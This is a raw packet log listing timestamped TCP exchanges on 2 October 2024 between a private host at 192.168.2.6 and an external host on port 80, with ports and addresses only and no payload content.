Oct 2, 2024 17:17:06.931340933 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.931356907 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.931364059 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.931371927 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.931404114 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.931404114 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.931410074 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.931430101 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.931473017 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.932147026 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.932163954 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.932180882 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.932223082 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.932389975 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.932638884 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.932655096 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.932670116 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.932893991 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.932908058 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.932914019 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.932961941 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.932961941 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.933475971 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.933491945 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.933506966 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.933526993 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.933610916 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.933619976 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.933626890 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:06.933648109 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:06.933703899 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.021106958 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021131039 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021142006 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021152973 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021167040 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021177053 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.021255970 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.021260977 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021320105 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021330118 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021341085 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.021368980 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.021368980 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.021384954 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021394968 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021405935 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.021485090 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.022095919 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.022106886 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.022116899 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.022165060 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.022177935 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.022188902 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.022195101 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.022200108 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.022213936 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.022214890 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.022233963 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.022233963 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.022305965 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.023004055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.023015976 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.023025990 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.023085117 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.023085117 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.023209095 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.023220062 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.023230076 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.023241997 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.023257017 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.023308992 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.023891926 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.023902893 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.023914099 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.023968935 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.023968935 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.023993969 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.024003983 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.024014950 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.024032116 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.024046898 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.024863958 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.024873972 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.024883986 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.024889946 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.024964094 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.024964094 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.025104046 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.025115967 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.025197983 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.111494064 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111524105 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111535072 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111546040 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111557007 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111568928 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111583948 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111592054 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.111594915 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111604929 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111615896 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111641884 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.111952066 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111963034 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.111973047 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112026930 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112062931 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112073898 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112085104 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112097025 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112099886 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112122059 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112190008 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112219095 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112247944 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112276077 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112519026 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112694025 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112735987 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112746954 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112754107 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112783909 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112783909 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112828016 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112838984 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112849951 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112860918 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.112878084 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112989902 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.112993002 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113003969 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113013983 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113024950 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113066912 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.113066912 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.113706112 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113718033 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113729000 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113786936 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.113786936 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.113795996 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113806009 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113816977 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113827944 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113835096 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.113847017 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.113924980 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.113948107 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113960028 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113970041 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.113981009 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114032984 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.114032984 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.114690065 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114707947 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114717960 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114777088 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114777088 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.114778042 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.114788055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114799023 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114809036 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114816904 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.114828110 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.114917040 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114927053 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114934921 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.114938021 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114949942 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.114968061 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.114999056 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.114999056 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.115585089 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.115602970 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.115612984 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.115655899 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.115655899 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.115727901 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.115761042 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.115799904 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.115824938 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.115850925 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.115884066 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.115907907 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.115916014 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.115947962 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.115972042 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.115983009 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.116127968 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.116528988 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.116560936 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.116585970 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.116595984 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.116620064 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.116667032 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.198431969 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.198743105 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.201445103 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201482058 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201534033 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201559067 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.201567888 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201622963 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201631069 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.201631069 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.201656103 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201683998 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.201714993 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201762915 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201787949 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.201796055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201828957 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201849937 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.201860905 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201966047 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.201998949 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.201998949 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202049017 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202075958 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202102900 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202136040 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202161074 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202171087 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202224016 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202248096 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202255964 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202289104 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202316046 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202341080 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202373981 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202398062 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202406883 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202431917 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202459097 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202491999 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202516079 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202523947 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202558994 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202584028 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202589989 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202622890 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202645063 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202656031 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202691078 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202712059 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202718973 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202860117 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202883959 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.202892065 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202927113 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.202946901 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203077078 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203126907 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203155041 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203161955 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203202963 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203226089 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203236103 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203269958 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203282118 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203304052 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203327894 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203336954 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203362942 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203455925 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203505039 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203526974 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203537941 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203571081 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203583956 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203603983 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203629017 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203635931 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203661919 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203686953 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203711033 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203718901 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203743935 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203752995 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203785896 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203809023 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203819036 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203854084 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203876972 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.203886986 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203919888 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.203943968 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204035997 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204077005 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204138994 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204165936 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204173088 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204196930 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204205036 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204250097 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204287052 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204320908 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204341888 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204353094 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204385996 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204406977 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204464912 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204497099 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204520941 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204530001 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204554081 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204562902 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204596996 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204619884 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204629898 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204663992 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204688072 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204699039 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204797983 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.204956055 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.204988003 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205013990 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.205039024 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205071926 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205091953 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.205104113 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205136061 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205156088 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.205168009 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205230951 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205251932 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.205291986 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205327988 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205338001 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:07.205379009 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205411911 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:07.205436945 CEST	65263	80	192.168.2.6	147.45.44.104
